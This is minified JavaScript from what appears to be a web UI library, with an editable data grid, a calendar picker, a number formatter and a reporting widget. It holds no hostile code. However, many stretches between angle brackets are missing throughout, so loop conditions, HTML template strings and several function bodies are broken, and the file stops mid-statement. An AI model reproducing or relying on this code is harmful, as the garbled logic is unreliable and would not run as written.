coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};for(var c=this.gr.col*1+1;c=3){break;};if(c>=(this.gr.hd.length-1)){c=this.gr.col;break;};};this.gr.cells(this.gr.row,c).edit();ed.onblur=ed.onMrlblur;return false;};};ed.onblur=function(){if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};this.style.left=(0-this.offsetWidth-100)+'px';};ed.onMrlbblur=function(){if(ed.slind||ed.slind==0){this.gr.selectedCell.slind=ed.slind};var coltyp=this.gr.cit[this.gr.col].toString();if(coltyp=='i'){this.gr.selectedCell.val(this.value);}else if(coltyp=='p'){var strs='******************************************************************************************************************************';this.gr.selectedCell.val(strs.substring(0,this.value.length));}else{this.gr.selectedCell.val(this.value);};this.style.left=(0-this.offsetWidth-100)+'px';};ed.onkeyup=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==16){this.gr.rc=2;};};gr.oncolch=new Array();for(var i=0;i");ed.style.left=(0-ed.offsetWidth-100)+'px';if(gr.edYN!='Y'){gr.ctrl.select();return 0};if(gr.editAry[gr.col]!='Y'){gr.ctrl.select();return 0};var cit=gr.cit;if(cit[gr.col]=='i'){ed.style.top=(gr.selectedCell.offsetTop*1+50)+'px';ed.style.left=gr.selectedCell.offsetLeft+'px';ed.style.height=gr.selectedCell.offsetHeight+'px';ed.style.width=gr.selectedCell.offsetWidth+'px';ed.style.textAlign=gr.ta[gr.col];ed.setAttribute('maxLength',gr.mml[gr.col]);ed.setAttribute('type','text');ed.select();}else if(cit[gr.col]=='p'){ed.style.top=(gr.selectedCell.offsetTop*1+50)+'px';ed.style.left=gr.selectedCell.offsetLeft+'px';ed.style.height=gr.selectedCell.offsetHeight+'px';ed.style.width=gr.selectedCell.offsetWidth+'px';ed.style.textAlign=gr.ta[gr.col];ed.setAttribute('maxLength',gr.mml[gr.col]);ed.setAttribute('type','password');ed.select();}else if(cit[gr.col]=='c'){ed.style.left=(0-ed.offsetWidth-100)+'px';var cb=this.getElementsByTagName('input')[0];cb.ed=ed;cb.focus();}else if(cit[gr.col]=='s'){var sl=Mrlce('input');sl.style.zIndex='10000';var cits=gr.cits;sl.style.textAlign=gr.ta[gr.col];var nops=new Array();for(var i=0;i");sl.oValue=MrlReplace(MrlReplace(MrlReplace(val.innerHTML, "&", "&"), "<", "<"), ">" , ">");MrlSelectBox(sl,nops);sl.gr=gr;sl.onMrlSubmit=function(){this.ed.slind=this.onMrlResult[1];this.ed.onMrlResult=this.onMrlResult.slice();this.gr.cells(this.row,this.col).val(this.onMrlResult[0]);this.gr.cells(this.row,this.col).slind=this.onMrlResult[1];};sl.select();if((gr.rs.scrollTop*1+130*1)<(sl.offsetTop*1+sl.offsetHeight*1)){gr.rs.scrollTop=gr.rs.scrollTop*1+80};};gr.thd.style.height='101%';gr.thd.style.height='100%';};gr.rs=thd;gr.cs=gr;gr.Gcellselect=function(){var gr=this.parentNode.parentNode.gr;var ty=gr.ty;if(ty.childNodes.length==0){return 0};ty.childNodes[gr.prow].style.backgroundColor=gr.Gcelbk;ty.childNodes[gr.prow].style.color=gr.Gcelcl;ty.childNodes[gr.prow].childNodes[gr.pcol].style.backgroundColor='';ty.childNodes[gr.prow].childNodes[gr.pcol].style.color='';gr.row=this.row;gr.col=this.col;gr.prow=gr.row;gr.pcol=gr.col;gr.selectedCell=this;ty.childNodes[gr.row].style.backgroundColor=gr.Gsrbk;ty.childNodes[gr.row].style.color=gr.Gsrcl;ty.childNodes[gr.row].childNodes[gr.col].style.backgroundColor=gr.Gsclbk;ty.childNodes[gr.row].childNodes[gr.col].style.color=gr.Gsclcl;var ht=gr.rs.scrollTop*1+gr.rs.offsetHeight*1;var wd=gr.cs.scrollLeft*1+gr.cs.offsetWidth*1;var ht2=ty.childNodes[gr.row].childNodes[gr.col].offsetTop*1+ty.childNodes[gr.row].childNodes[gr.col].offsetHeight*1+50;var wd2=ty.childNodes[gr.row].childNodes[gr.col].offsetLeft*1+ty.childNodes[gr.row].childNodes[gr.col].offsetWidth*1;gr.ctrl.style.width=ty.childNodes[gr.row].childNodes[gr.col].offsetWidth+'px';gr.ctrl.style.height=ty.childNodes[gr.row].childNodes[gr.col].offsetHeight+'px';gr.ctrl.style.left=this.offsetLeft+'px';gr.ctrl.style.top=(0-ty.childNodes[gr.row].childNodes[gr.col].offsetHeight-gr.ctrl.offsetHeight)+'px';if(ht2>ht){gr.rs.scrollTop=(ht2-gr.rs.offsetHeight*1)*1+50;}else if((this.offsetTop*1)<(gr.rs.scrollTop*1)){gr.rs.scrollTop=(this.offsetTop*1);};if(wd2>wd){gr.cs.scrollLeft=(wd2-gr.cs.offsetWidth*1);}else if((this.offsetLeft*1+10)<(gr.cs.scrollLeft*1)){gr.cs.scrollLeft=(this.offsetLeft*1);};};gr.cells=function(grcellrow,grcellcol){var ty=gr.ty;if(ty.childNodes.length<=0){return 0};if(grcellrow>=gr.sdat.length||grcellrow<0||grcellcol>=gr.hd.length||grcellcol<0){return ty.childNodes[gr.row].childNodes[gr.col]};return ty.childNodes[grcellrow].childNodes[grcellcol];};gr.getOData=function(){var a=new Array;var dat=gr.odat;for(var i=0;igr.hd.length){ndat[i]=ndat[i].slice(0,gr.hd.length);}else if(ndat[i].length=gr.offsetWidth){d.style.width='100%'}else{d.style.width=gr.ttw+'px'};d.style.width='100%';d.innerHTML="
";var td=d.getElementsByTagName('input')[0].parentNode;td.removeChild(td.getElementsByTagName('input')[0]);var dd=Mrlce('div');dd.style.padding='10px 33px 10px 33px';dd.innerHTML=malert_tt;dd.style.border='solid 1px '+gr.Ghdcl;dd.style.borderRadius='5px';dd.style.backgroundColor=gr.Ghdbk;dd.style.color=gr.Ghdcl;dd.style.fontFamily='verdana';dd.style.overflow='hidden';dd.style.fontSize='22px';var inp=Mrlce('input');Mrlab4(inp,-100,-100,20,40);dd.appendChild(inp);td.appendChild(dd);inp.focus();inp.dd=d;inp.gr=gr;inp.onblur=function(){var dd=this.dd;dd.parentNode.removeChild(dd);setTimeout("Mrlgei('"+this.gr.id+"').ctrl.select()",100);};inp.onkeydown=function(e){e=e?e:window.event;var kc=e.which?e.which:e.keyCode;if(kc==27){setTimeout("Mrlgei('"+this.gr.id+"').ctrl.select()",100);};};};gr.insRow=function(rn,na_ary){var gr=this.gr;var sdat=gr.sdat;var dat=gr.dat;var a=gr.selectedCell;if(rn||rn==0){a=gr.cells(rn,gr.col)};var q=gr.sdat[a.sdr][gr.sdat[a.sdr].length-1];var p=a.sdr;var hd=gr.hd;var na=new Array();na[0]=new Array();var rc=1;if(na_ary){var ChkA=2;for(var r=0;r=q){dat[i][dat[i].length-1]=b*1+rc};if(c>=q){sdat[i][sdat[i].length-1]=c*1+rc};};if(q<=gr.mcopied){gr.mcopied++;};var nna=new Array();for(var i=0;i=q){dat[i][dat[i].length-1]=b*1-cc*1};if(c>=q){sdat[i][sdat[i].length-1]=c*1-cc*1};};if(q==gr.mcopied){gr.mcopied=(0-1);};if(q=gr.ty.childNodes.length){r=gr.ty.childNodes.length-1};gr.cells(r,c).sele();if(gr.delRowEnd){gr.delRowEnd()};};gr.meditElder=function(){var gr=this;var gra=MrlGridForElder(gr);gra.setAttribute('style',gr.getAttribute('style'));Mrlab4(gra,0,0,gr.offsetHeight,gr.offsetWdith);gra.style.overflow='scroll';gra.style.overflowY='scroll';gr.style.overflow='hidden';gra.style.backgroundColor='#fff';gra.style.border='solid 1px #ddd';gra.style.zIndex=30;gr.appendChild(gra);if(gr.mgr){if(gr.mgr.parentNode==gr){gra.scrollTop=gr.mgr.scrollTop;gr.removeChild(gr.mgr);}};gr.mgr=gra;};gr.mttlYN='N';var ttlctrl=Mrlce('div');gr.ttlctrl=ttlctrl;ttlctrl.innerHTML='Total';Mrlab4(ttlctrl,null,20,15);ttlctrl.style.display='block';ttlctrl.style.whiteSpace='noWrap';ttlctrl.noWrap=true;var mc=mrgb(gr.Gcelbk);ttlctrl.style.padding='2px 12px 2px 12px';ttlctrl.style.zIndex='9';ttlctrl.style.border='solid 1px '+mc[80];ttlctrl.style.borderBottom='none';ttlctrl.style.borderTopLeftRadius='5px';ttlctrl.style.borderTopRightRadius='5px';ttlctrl.style.bottom='0px';ttlctrl.style.cursor='pointer';ttlctrl.gr=gr;ttlctrl.style.textAlign='center';ttlctrl.onclick=function(){this.gr.totalYN(((this.gr.mttlYN=='Y')?'N':'Y'))};Mrlft(ttlctrl,'verdana',12,mc[80]);ttlctrl.style.backgroundColor=mc[0];gr.appendChild(ttlctrl);var ttltr=Mrlce('div');gr.ttltr=ttltr;var tds=new Array();ttltr.innerHTML='
';ttltr.tds=tds;Mrlab4(ttltr,null,0,20,gr.ty.offsetWidth);ttltr.style.bottom='-20px';gr.appendChild(ttltr);var tr=ttltr.getElementsByTagName('td')[0].parentNode;tr.removeChild(tr.childNodes[0]);for(var i=0;i';Mrlft(ttlctrl,'verdana',12,mc[80]);ttlctrl.style.backgroundColor=mc[0];var mc=mrgb(gr.Gcelbk);ttlctrl.style.border='solid 1px '+mc[80];ttlctrl.style.borderBottom='none';var ttltr=gr.ttltr;var tds=ttltr.tds;var ttls=new Array();var dat=gr.getFData();for(var q=0;q'+btns[i][0]+'';a.gr=gr;eval("a.onclick="+btns[i][1]);tl.appendChild(a);};gr.appendChild(tl);gr.tl=tl;tl.gr=gr;};gr.editAry=new Array();for(var i=0;i';flist+='T:+852 2421 2200'+'
';flist+='by Morris Leung'+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Toolbar
';flist+='-------------------
';flist+="return.sortYN('Y' or 'N')"+'
';flist+="return.filterYN('Y' or 'N')"+'
';flist+="return.insertRowYN('Y' or 'N')"+'
';flist+="return.exportYN('Y' or 'N')"+'
';flist+="return.editYN('Y' or 'N')"+'
';flist+="return.toolBarYN('Y' or 'N')"+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Cells
';flist+='------------------------------------------------
';flist+="return.selectedCell td of cell"+'
';flist+="return.cells(row,col) td of cell"+'
';flist+="td.sele() select cell"+'
';flist+="td.edit() edit cell"+'
';flist+="td.val('value') apply value to cell"+'
';flist+="td.onch=function(){your function} = cell on change function"+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Column
';flist+='------------------------------------------------
';flist+="return.selectBoxCol(col num, ary of select option list)"+'
';flist+="return.checkBoxCol(col num)"+'
';flist+="return.inputBoxCol(col num)"+'
';flist+="return.editCol(col num, Y or N)"+'
';flist+="td.oncolch[col num]=function(){your function} = cell on change function"+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Table
';flist+='------------------------------------------------
';flist+="return.filter() turn user filter on and off"+'
';flist+="return.sortCol(col num, 1 or 0 or -1) sort data"+'
';flist+="return.clearSorting() clear all sorting"+'
';flist+="return.insRow(row num, array as insert values) insert row with values"+'
';flist+="return.delRow(optional row num) delete row"+'
';flist+='------------------------------------------------

';flist+='------------------------------------------------
';flist+='Data
';flist+='------------------------------------------------
';flist+="return.updateData() Sets the Original Data"+'
';flist+="return.getOData() returns the Original Data"+'
';flist+="return.getData() returns the Edited Data"+'
';flist+="return.getSData() returns the Edited Sorted Data"+'
';flist+="return.getFData() returns the Edited Sorted Filtered Data"+'
';flist+='------------------------------------------------
';flist+=''+'
';flist+=''+'
';var a=Mrlce('div');Mrlab4(a,0,0);a.style.height='100%';a.style.width='100%';a.style.backgroundColor='#036';a.style.fontFamily='verdana';a.style.fontSize='12px';a.style.color='#0f0';a.style.zIndex='99999';a.style.overflow='scroll';a.style.textAlign='left';a.innerHTML=flist;var b=Mrlce('input');Mrlab4(b,-100,-100,100,100);b.a=a;a.appendChild(b);b.onblur=function(){var a=this.a;a.parentNode.removeChild(a)};gr.appendChild(a);b.select();};gr.toolBar();gr.grid();var nid='MrlGrid'+parseInt(Math.random()*99999);gr.id=nid;return gr;};MrlCalendar=function(GCalendar_GeyA,GCalendar_FontSize,GCalendar_Type,GCalendar_Colour){var ip=GCalendar_GeyA;var fs=GCalendar_FontSize?GCalendar_FontSize:10;var par=ip;var mc=GCalendar_Colour||'#555';for(var i=0;par!=document.body;i++){var tn=par.tagName;tn+='';tn=tn.toUpperCase();if(tn=='CENTER'||tn=='DIV'||tn=='BUTTON'||tn=='SPAN'){break};par=par.parentNode;};var cal=Mrlce('div');cal.style.overflow='hidden';cal.style.textAlign='center';cal.style.zIndex='300';cal.fs=fs;var ud=ip.value;if(ud.length==10&&ud.substring(4,5)=='-'&&ud.substring(7,8)=='-'){cal.Gdate=ud;}else{var now=new Date();var yr=now.getFullYear();var m=now.getMonth()*1+1;var da=now.getDate();yr='0000'+''+yr;m='00'+''+m;da='00'+''+da;yr=yr.substring(yr.length-4);m=m.substring(m.length-2);da=da.substring(da.length-2);cal.Gdate=yr+'-'+m+'-'+da;};cal.style.border='solid 1px #9cf';var cmc=mrgb(mc);if(cmc[100].toString().toUpperCase()!='#FFFFFF'){var cmc=mrgb(cmc[80],1);};var cmdc=mrgb(mc,2);cal.tbcolor=cmc[100];cal.tcolor=cmc[0];cal.wbcolor=cmc[0];cal.wcolor=cmc[100];cal.dnbcolor=cmc[100];cal.dncolor=cmc[30];cal.dtbcolor=cmc[50];cal.dtcolor=cmdc[100];cal.dobcolor=cmdc[80];cal.docolor=cmc[100];cal.dsbcolor=cmc[100];cal.dscolor=cmc[60];cal.trocolor=cmc[80];cal.style.backgroundColor=cal.dnbcolor;cal.par=par;cal.ip=ip;ip.cal=cal;var tp=ip.offsetTop*1+ip.offsetHeight;var lf=ip.offsetLeft;Mrlab4(cal,tp,lf);var wk=['Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday'];cal.wk=wk;var mth=['January','February','March','April','May','June','July','August','September','October','November','December'];cal.mth=mth;cal.innerHTML='
';var ty=cal.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;ty.removeChild(ty.childNodes[0]);ty.parentNode.style.fontSize=fs+'px';cal.ty=ty;ty.cal=cal;var trt=Mrlce('tr');cal.trt=trt;var td=Mrlce('td');td.style.paddingLeft=parseInt(fs/5)+'px';td.style.paddingRight=parseInt(fs/5)+'px';td.style.textAlign='center';td.colSpan=7;var btnl=Mrlce('div');Mrlab4(btnl,0,0);btnl.style.paddingLeft=parseInt(fs/5)+'px';btnl.style.paddingRight=parseInt(fs/5)+'px';btnl.innerHTML='<';btnl.style.cursor='pointer';btnl.onclick=function(){var cal=this.cal;var now=cal.Gdate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var prm=m-1;prm='00'+''+prm;prm=prm.substring(prm.length-2);var py=y;if(m*1==1){prm='12';py=y-1;py='0000'+''+py;py=py.substring(py.length-4)};var nm=m*1+1;var ny=y;if(m*1==12){nm='01';ny=y*1+1;ny='0000'+''+ny;ny=ny.substring(ny.length-4)};cal.Gdate=py+'-'+prm+'-'+'01';cal.refresh();};btnl.cal=cal;td.appendChild(btnl);cal.btnl=btnl;var now=cal.Gdate;var md=Mrlce('label');md.style.paddingLeft=parseInt(fs/5)+'px';md.style.paddingRight=parseInt(fs/5)+'px';md.style.cursor='pointer';md.innerHTML=mth[now.substring(5,7)*1];Mrlft(md,null,cal.fs);md.onclick=function(){this.cal.Gselmth()};cal.md=md;md.cal=cal;td.appendChild(md);var yd=Mrlce('label');yd.style.paddingLeft=parseInt(fs/5)+'px';yd.style.paddingRight=parseInt(fs/5)+'px';yd.style.cursor='pointer';yd.innerHTML=now.substring(0,4);Mrlft(yd,null,cal.fs);yd.onclick=function(){this.cal.Gselyr()};cal.yd=yd;yd.cal=cal;td.appendChild(yd);var btnr=Mrlce('a');Mrlab4(btnr,0);btnr.style.right='0px';btnr.innerHTML='>';btnr.style.paddingLeft=parseInt(fs/5)+'px';btnr.style.paddingRight=parseInt(fs/5)+'px';btnr.style.cursor='pointer';btnr.onclick=function(){var cal=this.cal;var now=cal.Gdate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var prm=m-1;prm='00'+''+prm;prm=prm.substring(prm.length-2);var py=y;if(m*1==1){prm='12';py=y-1;py='0000'+''+py;py=py.substring(py.length-4)};var nm=m*1+1;nm='00'+''+nm;nm=nm.substring(nm.length-2);var ny=y;if(m*1==12){nm='01';ny=y*1+1;ny='0000'+''+ny;ny=ny.substring(ny.length-4)};cal.Gdate=ny+'-'+nm+'-'+'01';cal.refresh();};btnr.cal=cal;td.appendChild(btnr);cal.btnr=btnr;trt.appendChild(td);ty.appendChild(trt);var trm=Mrlce('tr');var sd=Mrlce('td');sd.style.paddingLeft=parseInt(fs/5)+'px';sd.style.paddingRight=parseInt(fs/5)+'px';sd.colSpan=7;sd.style.display='none';trm.appendChild(sd);ty.appendChild(trm);cal.trm=trm;var trw=Mrlce('tr');for(var i=0;i3;i=0){ty.removeChild(ty.childNodes[3]);};var now=cal.Gdate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var prm=m-1;prm='00'+''+prm;prm=prm.substring(prm.length-2);var py=y;if(m*1==1){prm='12';py=y-1;py='0000'+''+py;py=py.substring(py.length-4)};var nm=m*1+1;nm='00'+''+nm;nm=nm.substring(nm.length-2);var ny=y;if(m*1==12){nm='01';ny=y*1+1;ny='0000'+''+ny;ny=ny.substring(ny.length-4)};if((parseInt(y/4)==y/4&&(parseInt(y/100)!=y/100))||parseInt(y/400)==y/400){var med=[31,29,31,30,31,30,31,31,30,31,30,31];var medd=[0,31,60,91,121,152,182,213,244,274,305,335];}else{var med=[31,28,31,30,31,30,31,31,30,31,30,31];var medd=[0,31,59,90,120,151,181,212,243,273,304,334];};var fm=(y*365)*1+parseInt((y-1)/4)*1-parseInt((y-1)/100)*1+parseInt((y-1)/400);fm=fm*1+medd[m*1-1];var wd=fm-(parseInt(fm/7)*7);if(wd==0){wd=7};var ds=new Array();var n=0;for(var i=0;i<42;i++){if(i>=wd&&i<(wd*1+med[m*1-1])){n++;ds[i]=[n,'t'];}else if(i=(wd*1+med[m*1-1])){ds[i]=[i-(wd*1+med[m*1-1])*1+1,'n'];}else{ds[i]=[1,'na'];};};n=-1;for(var i=0;i<6;i++){var trd=Mrlce('tr');for(var q=0;q';var dty=d.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;dty.removeChild(dty.childNodes[0]);d.dty=dty;d.style.border='solid 3px '+cal.tbcolor;var n=-1;for(var i=0;i<4;i++){var tr=Mrlce('tr');tr.style.backgroundColor=cal.wbcolor;for(var q=0;q<3;q++){n++;var td=Mrlce('td');td.style.paddingLeft=parseInt(fs/5)+'px';td.style.paddingRight=parseInt(fs/5)+'px';td.style.paddingTop=parseInt(fs/5)+'px';td.style.paddingBottom=parseInt(fs/5)+'px';td.style.textAlign='center';td.style.border='solid 1px '+cal.tbcolor;td.style.color=cal.wcolor;td.style.cursor='pointer';td.innerHTML=cal.mth[n].substring(0,3);td.cal=cal;td.d=d;td.ms=ms;td.mm=n*1+1;td.onclick=function(){var cal=this.cal;var now=cal.Gdate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var nm=this.mm;nm='00'+''+nm;nm=nm.substring(nm.length-2);cal.Gdate=y+'-'+nm+'-'+d;cal.refresh();this.ms.parentNode.removeChild(this.ms);};tr.appendChild(td);};dty.appendChild(tr);};ms.appendChild(d);cal.appendChild(ms);};cal.Gselyr=function(Gselyr_yr){var cal=this.cal;var ms=Mrlce('div');ms.style.zIndex='301';Mrlab4(ms,0,-cal.fs);Mrlft(ms,null,cal.fs);var bk=Mrlce('img');Mrlab4(bk,0,0);bk.style.height=cal.offsetHeight+'px';bk.style.width=cal.offsetWidth+'px';bk.src='/MRL/img/hidden.png';bk.style.zIndex='300';bk.ms=ms;bk.onclick=function(){this.ms.parentNode.removeChild(this.ms)};ms.appendChild(bk);var n=1;for(var i=0;i<10;i++){var ar=Mrlce('img');Mrlab4(ar,cal.md.offsetTop*1+(cal.yd.offsetHeight)*1+0+i*1,(cal.yd.offsetLeft*1+cal.yd.offsetWidth/2)*1-i,1,n);ar.src='/MRL/img/hidden.png';ar.style.backgroundColor=cal.tbcolor;ms.appendChild(ar);n++;n++;};var d=Mrlce('div');Mrlab4(d,cal.md.offsetTop*1+(cal.yd.offsetHeight)*1+10,cal.ty.childNodes[4].childNodes[2].offsetLeft);d.style.position='absolute';d.style.zIndex='301';d.innerHTML='
';var dty=d.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;dty.removeChild(dty.childNodes[0]);d.dty=dty;d.style.border='solid 3px '+cal.tbcolor;var n=-1;if(!Gselyr_yr){var y=cal.Gdate.substring(0,4);y=y-3;}else{var y=Gselyr_yr;y=y-3;};var nd=[3,0,4,7,1,5,8,2,6,9];for(var i=0;i<4;i++){var tr=Mrlce('tr');for(var q=0;q<3;q++){var td=Mrlce('td');td.style.paddingLeft=parseInt(fs/5)+'px';td.style.paddingRight=parseInt(fs/5)+'px';td.style.paddingTop=parseInt(fs/5)+'px';td.style.paddingBottom=parseInt(fs/5)+'px';td.style.textAlign='center';td.style.border='solid 1px '+cal.tbcolor;td.style.color=cal.tcolor;td.style.backgroundColor=cal.tbcolor;td.style.cursor='pointer';td.cal=cal;td.d=d;td.ms=ms;if(q==0&&i==0){td.innerHTML='<';td.y=y*1+3;td.onclick=function(){var cal=this.cal;var now=cal.Gdate;var y=this.y;var m=now.substring(5,7);var d=now.substring(8,10);var ny=y-10;ny='0000'+''+ny;ny=ny.substring(ny.length-4);this.ms.parentNode.removeChild(this.ms);cal.Gselyr(ny);};}else if(q==2&&i==0){td.innerHTML='>';td.y=y*1+3;td.onclick=function(){var cal=this.cal;var now=cal.Gdate;var y=this.y;var m=now.substring(5,7);var d=now.substring(8,10);var ny=y*1+10;ny='0000'+''+ny;ny=ny.substring(ny.length-4);this.ms.parentNode.removeChild(this.ms);cal.Gselyr(ny);};}else{n++;td.style.color=cal.wcolor;td.style.backgroundColor=cal.wbcolor;var ny=(y*1+nd[n]);ny='0000'+''+ny;ny=ny.substring(ny.length-4);td.innerHTML=ny;td.mm=nd[n]*1+y*1;td.onclick=function(){var cal=this.cal;var now=cal.Gdate;var y=now.substring(0,4);var m=now.substring(5,7);var d=now.substring(8,10);var ny=this.mm;ny='0000'+''+ny;ny=ny.substring(ny.length-4);cal.Gdate=ny+'-'+m+'-'+d;cal.refresh();this.ms.parentNode.removeChild(this.ms);};};tr.appendChild(td);};dty.appendChild(tr);};ms.appendChild(d);cal.appendChild(ms);};cal.onMrlblur=function(){if(this.cal.parentNode){this.cal.parentNode.removeChild(this.cal);};};cal.refresh();var inp=Mrlce('input');inp.type='date';Mrlab4(inp,0,-100,20,80);inp.cal=cal;cal.inp=inp;cal.style.filter='alpha(opacity=100)';cal.style.opacity=1;inp.onfocus=function(){this.cal.onMrlAnimatEnd=function(){};MrlAnimat(this.cal,2,100,'fs',null,null,null,null,100)};inp.onblur=function(){var inp=this;var Gey=inp.cal.ip;var nd=Gey.value;if(nd!=''){var dd=MrlAutoDate(nd);if(dd){Gey.value=dd;if(this.cal.ip.onchange){this.cal.ip.onchange()}}else{Gey.value='';if(this.cal.ip.onchange){this.cal.ip.onchange()}};}else{Gey.value='';if(this.cal.ip.onchange){this.cal.ip.onchange()};};this.cal.onMrlAnimatEnd=function(){this.cal.onMrlblur()};MrlAnimat(this.cal,2,100,'fs',null,null,null,null,0);};inp.shfup='u';inp.onkeydown=function(e){var Gey=this.cal.ip;e=e||window.event;var kc=e.which||e.keyCode;if(kc==16){this.shfup='d'};Gey.value=this.value;if(this.cal.ip.onchange){this.cal.ip.onchange()};if((((kc>=48&&kc<=57)||(kc>=96&&kc<=105))&&this.shfup=='u')||kc==36||kc==35||kc==46||kc==8||kc==9||kc==13||kc==27||kc==37||kc==38||kc==39||kc==40||kc==111||kc==191||kc==109||kc==189){}else{return false};if(kc==13){this.onblur();Gey.select();Gey.focus();}else if(kc==27){this.value='';this.onblur();if(this.cal.ip.onchange){this.cal.ip.onchange()};}else if(kc==9){Gey.mGefocus=Gey.onfocus;Gey.onfocus=function(){this.onfocus=Gey.mGefocus};Gey.select();return 0;};};inp.onkeyup=function(e){var Gey=this.cal.ip;e=e||window.event;var kc=e.which||e.keyCode;if(kc==13){return false;}else if(kc==16){this.shfup='u';};Gey.value=this.value;if(this.cal.ip.onchange){this.cal.ip.onchange()};};cal.appendChild(inp);cal.id='MrlCalendar'+parseInt(Math.random()*99999);cal.onmousedown=function(){setTimeout("var a=Mrlgei('"+this.cal.id+"');a.inp.select()",0);};cal.onmouseup=function(){setTimeout("var a=Mrlgei('"+this.cal.id+"');a.inp.select()",0);};ip.onclick=function(){this.onfocus()};par.appendChild(cal);inp.value=cal.ip.value;inp.select();cal.style.fontFamily='verdana';return cal;};Mrldp=function(Gdp_Amt,Gdp_dp){var zros='00000000000000000000000000';Gdp_Amt=Gdp_Amt+'';Gdp_Amt=Gdp_Amt.replace(/,/g,'');if(isNaN(Gdp_Amt*1)){return '0'+(Gdp_dp>=1?'.'+zros.substring(0,Gdp_dp):'')};if(Gdp_Amt*1==0){return '0'+(Gdp_dp>=1?'.'+zros.substring(0,Gdp_dp):'')};Gdp_Amt=Math.round(Gdp_Amt*Math.pow(10,Gdp_dp))/Math.pow(10,Gdp_dp);var a=parseFloat(Gdp_Amt);var h=a*1>=0?'':'-';var a=a*1>=0?a:parseFloat(a*(-1));a+='';if(isNaN(a*1)){a=0};var dps=Gdp_dp==0?0:Gdp_dp?Gdp_dp:2;dp=Math.pow(10,dps);var amt=Math.round(a*dp);amt+='';var a=amt.substring(0,amt.length-dps);var d=amt.substring(amt.length-dps);d=dp+''+d;d=d.substring(d.length-dps);var c=parseInt(a.length/3);if(a.length/3==parseInt(a.length/3)){c-=1};var e='';for(var i=0;i0){e+='.'+d;};return h+''+e;};MrlReporter=function(G_Reporter_Data,G_Reporter_Cri){var DicTT=["Total","Count Of","Average","Maximum","Minimum"];var GeyDiv=Mrlce('div');var DicCri=G_Reporter_Cri;GeyDiv.id='Mrl_Reporter'+parseInt(Math.random()*99999);var DicData=G_Reporter_Data;GeyDiv.style.overflow='hidden';GeyDiv.onMrlEditMode='N';GeyDiv.onMrlDicData=DicData;GeyDiv.onMrlSortedDicData=DicData.slice();GeyDiv.onMrlDicTT=DicTT;var GeA='#'+GeyDiv.id+' td {border:solid 1px #eee;padding-left:5px;padding-right:5px;';GeA+='height:20px;white-space:noWrap;}';var GeyA=Mrlce('style');GeyA.type='text/css';if (GeyA.styleSheet){GeyA.styleSheet.cssText=GeA;}else{GeyA.appendChild(document.createTextNode(GeA));};document.getElementsByTagName('head')[0].appendChild(GeyA);var GeyGLoading=Mrlce('div');GeyDiv.GeyGLoading=GeyGLoading;GeyGLoading.style.top='0px';GeyGLoading.style.left='0px';GeyGLoading.style.height='100%';GeyGLoading.style.width='100%';GeyGLoading.style.position='absolute';GeyGLoading.style.zIndex='1000';var GeA='';GeA+="
";GeA+="
";GeA+="";GeA+="";GeA+="
";GeA+="";GeA+="";GeA+="
";GeyGLoading.innerHTML=GeA;GeyGLoading.style.display='none';GeyDiv.appendChild(GeyGLoading);var GeyA=Mrlce('div');GeyA.style.position='absolute';GeyA.style.top='0px';GeyA.style.left='-478px';GeyA.style.width='500px';GeyA.style.height='100%';GeyA.style.zIndex='100';GeyDiv.GGeyFil;GeyDiv.appendChild(GeyA);var GeyB=Mrlce('img');GeyB.style.position='absolute';GeyB.style.top='40px';GeyB.style.left='485px';GeyB.style.width='10px';GeyB.style.height='100%';GeyB.style.zIndex='5';GeyB.style.cursor='pointer';GeyB.src='/MRL/img/shadow_l.png';GeyA.appendChild(GeyB);var GeyC=Mrlce('img');GeyC.style.position='absolute';GeyC.style.top='40px';GeyC.style.left='474px';GeyC.style.width='25px';GeyC.style.height='25px';GeyC.style.zIndex='6';GeyC.style.cursor='pointer';GeyC.src='/MRL/img/backA_blue.png';GeyA.appendChild(GeyC);var GeyD=Mrlce('div');GeyD.style.position='absolute';GeyD.style.top='0px';GeyD.style.left='0px';GeyD.style.width='495px';GeyD.style.height='100%';GeyD.style.zIndex='4';GeyD.style.backgroundColor='#fafafa';GeyD.style.fontFamily='verdana';GeyD.style.fontSize='10px';GeyD.style.color='#000';GeyDiv.GFilDiv=GeyD;GeyD.GParent=GeyDiv;GeyD.GRefresh=function(){var a =this.childNodes;var DicData=this.GParent.onMrlSortedDicData;for(var i=0;i=DicData.length){GeCF=''};if (GeTF>=DicData.length){GeTF=''};var GeText='';var TNData=NData;var TData=new Array();for(var i=1;i(DicData[GeCF][i]*1)){GeAmt=DicData[GeCF][i]*1}};};TData[GeText]=GeAmt;};};};if((nlf.length*GeEndDat)>=5000){var GeA='The Grid contain more then '+(nlf.length*GeEndDat)+' cells';GeA+=decodeURI('%0a')+'It will take a long time to report';GeA+=decodeURI('%0a')+'Continue anyway?';if(!confirm(GeA)){GeyGLoading.style.display='none';return 0};};var DicData=this.onMrlSortedDicData;var GeyA=this.GGeyTbl.childNodes[0].childNodes[0].childNodes;for (var i=0;GeyA.length!=0;i++){GeyA[0].parentNode.removeChild(GeyA[0]);};var GeyB=this.GGeyTbl.childNodes[0].childNodes[0];var GeyParent=GeyB.parentNode;GeyParent.removeChild(GeyB);var GeyC=Mrlce('tr');GeyB.appendChild(GeyC);var 